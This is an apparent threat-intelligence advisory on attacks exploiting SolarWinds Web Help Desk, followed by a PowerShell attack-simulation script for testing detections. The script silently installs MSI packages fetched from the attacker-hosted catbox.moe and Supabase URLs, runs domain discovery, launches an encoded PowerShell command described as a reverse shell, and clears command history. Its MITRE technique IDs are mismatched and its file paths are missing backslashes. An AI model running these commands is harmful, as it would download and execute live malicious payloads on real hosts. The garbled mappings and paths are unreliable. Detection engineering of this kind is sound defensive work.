SolarWinds Web Help Desk Under Active Exploitation

Summary

Huntress reported threat actors exploiting recent SolarWinds Web Help Desk (WHD) vulnerabilities to achieve remote code execution and stage follow-on tooling. The operators relied on malicious MSI packages hosted on public file-sharing services, then deployed Zoho ManageEngine, Velociraptor, and Cloudflared to maintain access and establish command-and-control. Before collecting and exfiltrating host details to an attacker-controlled Elastic Cloud instance, they attempted to weaken defenses by disabling Windows Defender and firewall protections. The activity can impact any organization running vulnerable WHD builds earlier than 12.8.7 HF1.

Investigation

Huntress reconstructed the chain starting with the WHD service wrapper (wrapper.exe) spawning java.exe, which then launched cmd.exe to retrieve a malicious MSI from catbox.moe. Follow-on actions included deploying Zoho Assist, running Active Directory discovery, and silently installing Velociraptor via Supabase. The attackers used encoded PowerShell to stage and exfiltrate data, and added secondary utilities including Cloudflared and VS Code binaries for interactive management. Investigators also observed registry changes intended to disable Windows Defender and a persistence mechanism involving a scheduled task named TPMProfiler that leveraged QEMU.

Mitigation

Update SolarWinds Web Help Desk to 12.8.7 HF1 (or later) to remediate CVE-2025-40551, CVE-2025-40536, and CVE-2025-26399. Limit WHD administrative access to trusted networks, enforce strong service-account credentials, and monitor closely for unexpected remote-management tools, silent MSI installs, and encoded PowerShell execution. Remove unauthorized services and scheduled tasks, validate firewall policy integrity, and ensure security controls (including Defender) are fully re-enabled and protected from tampering.

Response

Alert when wrapper.exe or java.exe spawns processes that invoke msiexec with remote URLs, and flag creation of artifacts such as ToolsIQ.exe and Velociraptor services. Block traffic to known malicious domains and isolate affected systems immediately. Preserve volatile evidence, remove the malicious MSI payloads and scheduled tasks (including TPMProfiler), and restore Defender and firewall configurations to a known-good state. Complete full forensic scoping to identify any additional tooling, persistence, or lateral-movement artifacts.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

Attack Narrative & Commands

1. Silent Remote MSI Installation (T1197) – The attacker downloads a malicious MSI from a remote host and installs it silently to avoid user interaction, matching the rule’s msiexec /q /i <https‑url> pattern.
2. Active Directory Discovery (T1207 – grouped under the rule as AD discovery) – Using net group "domain computers" /do to enumerate domain‑joined computers.
3. PowerShell Encoded Payload (T1059.001) – Executes a base64‑encoded PowerShell command that spawns a reverse shell.
4. File Hash Verification (T1219) – Calls Get‑FileHash on a known tool (code.exe) to simulate integrity checks before execution.

Regression Test Script

# -------------------------------------------------
#  Silent Remote MSI Installation
# -------------------------------------------------
$msiUrls = @(
    "https://files.catbox.moe/tmp9fc.msi",
    "https://vdfccjpnedujhrzscjtq.supabase.co/storage/v1/object/public/image/v4.msi",
    "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi"
)
foreach ($url in $msiUrls) {
    Write-Host "Installing remote MSI from $url"
    msiexec /q /i $url
}

# -------------------------------------------------
#  Active Directory Discovery
# -------------------------------------------------
Write-Host "Enumerating domain computers"
net group "domain computers" /do

# -------------------------------------------------
#  PowerShell Encoded Command Execution
# -------------------------------------------------
$encoded = "JABXAGUAYwBvAG4AYwB1AHQAZQAgAHIAZQBt" # (dummy base64)
powershell.exe -ExecutionPolicy Unrestricted -EncodedCommand $encoded

# -------------------------------------------------
#  File Hash Verification on code.exe
# -------------------------------------------------
$target = "C:ProgramDataMicrosoftcode.exe"
if (Test-Path $target) {
    Write-Host "Computing hash for $target"
    Get-FileHash -Path $target -Algorithm SHA256
} else {
    Write-Host "$target not found – skipping hash check"
}

Cleanup Commands

# Remove any installed MSI products (example using product code GUIDs)
Get-WmiObject -Class Win32_Product | Where-Object {
    $_.Name -like "*cloudflared*" -or $_.Name -like "*tmp9fc*"
} | ForEach-Object {
    $_.Uninstall()
}

# Delete downloaded MSI files if they exist in %TEMP%
Remove-Item -Path "$env:TEMP*.msi" -ErrorAction SilentlyContinue

# Clear PowerShell history (optional)
Clear-History